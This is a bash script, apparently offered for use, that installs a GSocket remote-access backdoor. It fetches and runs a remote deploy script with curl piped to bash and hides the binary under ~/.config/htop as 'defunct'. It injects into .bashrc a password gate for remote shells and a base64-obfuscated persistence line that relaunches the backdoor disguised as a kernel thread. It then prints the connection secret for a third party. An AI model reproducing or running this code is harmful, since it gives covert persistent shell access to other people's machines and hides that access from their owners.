#!/bin/bash
set -eo pipefail

# === Configuration ===
DEPLOY_URL="https://v13.next.forgejo.org/bryanyan/bajebajeb/raw/branch/main/deploy.sh"
AUTH_PASS="${GS_AUTH_PASS:-jangancariaku}"
FORCE_REINSTALL="${GS_FORCE:-0}"

# === Color codes ===
RED='\033[1;31m'
GREEN='\033[1;32m'
YELLOW='\033[1;33m'
CYAN='\033[1;36m'
RESET='\033[0m'

echo -e "${CYAN}[*] GSocket Authentication Installer${RESET}"

# === PHASE 1: Run GSocket installer ===
if [ -n "${GS_UNDO:-}" ]; then
    echo -e "${YELLOW}[*] Uninstalling GSocket...${RESET}"
    GS_UNDO=1 bash -c "$(curl -fsSL "$DEPLOY_URL")" || true
    if [ -f "$HOME/.bashrc" ]; then
        sed -i '/=== NAILONG 303 AUTHENTICATION SYSTEM ===/,/alias gs-status/d' "$HOME/.bashrc" 2>/dev/null || true
        echo -e "${GREEN}[+] Authentication removed from .bashrc${RESET}"
    fi
    exit 0
elif [ -n "${S:-}" ]; then
    echo -e "${YELLOW}[*] Connecting to GSocket...${RESET}"
    S="$S" bash -c "$(curl -fsSL "$DEPLOY_URL")"
    exit 0
else
    echo -e "${CYAN}[*] Installing GSocket with custom deploy...${RESET}"
    
    if [ -f "$HOME/.config/htop/defunct.dat" ] && [ "$FORCE_REINSTALL" != "1" ]; then
        echo -e "${YELLOW}[!] GSocket already installed. Skipping to auth setup...${RESET}"
        echo -e "${YELLOW}[!] To reinstall: GS_FORCE=1 ./script.sh${RESET}"
    else
        if [ -n "${X:-}" ]; then
            X="$X" bash -c "$(curl -fsSL "$DEPLOY_URL")" || {
                echo -e "${RED}[!] GSocket install had warnings, continuing...${RESET}"
            }
        else
            bash -c "$(curl -fsSL "$DEPLOY_URL")" || {
                echo -e "${RED}[!] GSocket install had warnings, continuing...${RESET}"
            }
        fi
    fi
fi

# === PHASE 2: Inject authentication into .bashrc ===
if [ -z "${HOME:-}" ]; then
    HOME=$(eval echo ~$(whoami))
fi
BASHRC="$HOME/.bashrc"

if [ ! -w "$HOME" ]; then
    echo -e "${RED}[!] Cannot write to $HOME - trying with sudo...${RESET}"
    USE_SUDO="sudo"
else
    USE_SUDO=""
fi

if [ -f "$BASHRC" ]; then
    $USE_SUDO sed -i '/=== NAILONG 303 AUTHENTICATION SYSTEM ===/,/alias gs-status/d' "$BASHRC" 2>/dev/null || true
fi

if [ ! -f "$BASHRC" ]; then
    $USE_SUDO touch "$BASHRC"
    echo -e "${GREEN}[+] Created new .bashrc at $BASHRC${RESET}"
fi

if [ -f "$BASHRC" ]; then
    BACKUP_FILE="$BASHRC.bak.$(date +%s)"
    $USE_SUDO cp "$BASHRC" "$BACKUP_FILE" 2>/dev/null && \
        echo -e "${GREEN}[+] Backed up .bashrc to: $BACKUP_FILE${RESET}" || \
        echo -e "${YELLOW}[!] Could not backup .bashrc${RESET}"
fi

# Create authentication block - write directly to avoid escaping issues
cat >> "$BASHRC" << 'EOFAUTH'

# === NAILONG 303 AUTHENTICATION SYSTEM ===
# This block runs ONLY for GSocket connections (not local terminal)
if [[ $- == *i* ]] && [[ -t 0 ]] && [[ -z "${NAILONG_AUTH_DONE:-}" ]]; then
    # Check if this is a GSocket connection by looking for gs-netcat parent process
    PARENT_CMD=$(ps -o comm= -p $PPID 2>/dev/null || echo "")
    IS_GSOCKET=0
    
    # Check if parent process is gs-netcat or related
    if [[ "$PARENT_CMD" == *"gs-netcat"* ]] || [[ "$PARENT_CMD" == *"defunct"* ]] || [[ -n "${GSOCKET_ARGS:-}" ]]; then
        IS_GSOCKET=1
    fi
    
    # Also check SSH_CONNECTION to differentiate from local terminal
    if [[ -z "${SSH_CONNECTION:-}" ]] && [[ "$IS_GSOCKET" == "0" ]]; then
        # This is a local terminal, skip authentication
        IS_GSOCKET=0
    else
        # Remote connection (SSH or GSocket), enable auth
        IS_GSOCKET=1
    fi
    
    # Only authenticate for GSocket/remote connections
    if [[ "$IS_GSOCKET" == "1" ]]; then
        # Mark as done to prevent double-prompting
        export NAILONG_AUTH_DONE=1
        
        # Show Nailong face to everyone first
        echo
        printf '\033[1;33m\n'
        cat << 'NAILONG_GREETING'
                   :::::::::::::                   
                 :..:::::::::::::::                
               :::::::::::::::::::::::             
              ::**::::::::-----------:::           
             ::.::::::::-=#%#+--------:::          
           :.:::::::::::--=*%#+--------::          
          :::::::-:::::::--===----------::         
         :::::::-::::::::---------------::         
         ::::::-::::::-----------====---::         
         ::::---:::-----==============--::         
         ------------=================--:          
          ---------======++++==+=+===--::          
          :::-======+++++++++++++++==--:           
        :::::::-===++++++++++****+++=-:            
      ::::-=:::-==++**************+++=--           
     ::::--::::::-==++++++***+++++++++==---        
     :::-:::.....::::--=======++==+++++===-:       
     :---:..........::::--========+++++===---:     
      --:...........:::::---======+**++=====-:     
       :............::::::--======+*+++=====--     
      :............:::::::---=====+*++++====-:     
      :..........:::::::::--======+**+++++==-      
     ::.......::::::::::::--=======+*+++++=        
     ::....:::::::::::::---==========++++          
     ::..::::::::::::------=========-:             
      :::::::::::----------=========-:             
      :::::::-------------==++++++==-:             
       --:-------=========+++++++++=-              
NAILONG_GREETING
        printf '\033[1;33m╔════════════════════════════╗\033[0m\n'
        printf '\033[1;33m║   NAILONG 303 IS HERE     ║\033[0m\n'
        printf '\033[1;33m╚════════════════════════════╝\033[0m\n'
        printf '\033[0m\n'
        
        # Now ask for password
        printf '\033[1;37mPassword: \033[0m'
        
        # Read password with 15 second timeout
        if read -t 15 -s -r input_pass; then
            echo  # Newline after hidden input
            
            # Validate password
            if [ "$input_pass" != "AUTH_PASS_PLACEHOLDER" ]; then
                # Wrong password - show angry ASCII
                printf '\n\033[1;31m\n'
                cat << 'NAILONG_FAIL'
                   :::::::::::::                   
                 :..:::::::::::::::                
               :::::::::::::::::::::::             
              ::**::::::::-----------:::           
             ::.::::::::-=#%#+--------:::          
           :.:::::::::::--=*%#+--------::          
          :::::::-:::::::--===----------::         
         :::::::-::::::::---------------::         
         ::::::-::::::-----------====---::         
         ::::---:::-----==============--::         
         ------------=================--:          
          ---------======++++==+=+===--::          
          :::-======+++++++++++++++==--:           
        :::::::-===++++++++++****+++=-:            
      ::::-=:::-==++**************+++=--           
     ::::--::::::-==++++++***+++++++++==---        
     :::-:::.....::::--=======++==+++++===-:       
     :---:..........::::--========+++++===---:     
      --:...........:::::---======+**++=====-:     
       :............::::::--======+*+++=====--     
      :............:::::::---=====+*++++====-:     
      :..........:::::::::--======+**+++++==-      
     ::.......::::::::::::--=======+*+++++=        
     ::....:::::::::::::---==========++++          
     ::..::::::::::::------=========-:             
      :::::::::::----------=========-:             
      :::::::-------------==++++++==-:             
       --:-------=========+++++++++=-              
NAILONG_FAIL
                printf '\033[1;31m╔════════════════════════════╗\033[0m\n'
                printf '\033[1;31m║  ACCESS DENIED - GO HOME  ║\033[0m\n'
                printf '\033[1;31m╚════════════════════════════╝\033[0m\n\n'
                sleep 2
                exit 1
            fi
            # Correct password - just show success
            printf '\033[1;32m╔════════════════════════════╗\033[0m\n'
            printf '\033[1;32m║     ACCESS GRANTED ✓      ║\033[0m\n'
            printf '\033[1;32m╚════════════════════════════╝\033[0m\n'
            printf '\033[0m\n'
        else
            # Timeout occurred
            printf '\n\033[1;31m[!] Timeout - Access denied\033[0m\n'
            exit 1
        fi
    fi
fi

# === Custom Prompt ===
PS1='\[\033[1;35m\]🔒 \u@\h:\w\$ \[\033[0m\]'

# === GSocket Persistence ===
{
    echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDA1IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgKFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgJChnZXBlbnYgSE9NRSkvLmNvbmZpZy9odG9wL2RlZnVuY3QuZGF0IC1saXFEIiBleGVjIC1hICdbc2x1Yl9mbHVzaHdxXScgJChnZXBlbnYgSE9NRSkvLmNvbmZpZy9odG9wL2RlZnVuY3QgMj4vZGV2L251bGwpCg==|base64 -d|bash
} 2>/dev/null &

# === Standard shell configuration ===
if [ -f /etc/bashrc ]; then
    . /etc/bashrc
fi

PATH="$HOME/.local/bin:$HOME/bin:/usr/local/bin:$PATH"
export PATH

umask 022

alias ll='ls -lah'
alias gs-status='ps aux | grep defunct | grep -v grep'
EOFAUTH

# Replace password placeholder
$USE_SUDO sed -i "s/AUTH_PASS_PLACEHOLDER/$AUTH_PASS/g" "$BASHRC"

# Show secret if exists
SECRET_FILE="${HOME}/.config/htop/defunct.dat"
if [ -f "$SECRET_FILE" ]; then
    SECRET=$(cat "$SECRET_FILE" 2>/dev/null | head -1 || echo "Unknown")
    echo
    echo -e "${GREEN}[+] Installation complete!${RESET}"
    echo -e "${CYAN}═══════════════════════════════════════${RESET}"
    echo -e "${YELLOW}Authentication Password: ${RED}$AUTH_PASS${RESET}"
    echo -e "${YELLOW}GSocket Secret: ${RED}$SECRET${RESET}"
    echo -e "${YELLOW}User: ${RED}$(whoami)${RESET}"
    echo -e "${YELLOW}.bashrc location: ${RED}$BASHRC${RESET}"
    echo -e "${CYAN}═══════════════════════════════════════${RESET}"
    echo
    echo -e "${GREEN}Your friend connects with:${RESET}"
    echo -e "  ${CYAN}gs-netcat -s \"$SECRET\" -i${RESET}"
    echo
    echo -e "${YELLOW}[!] Password prompt ONLY for GSocket connections${RESET}"
    echo -e "${YELLOW}[!] Local terminal works normally${RESET}"
else
    echo -e "${RED}[!] Could not find GSocket secret file${RESET}"
fi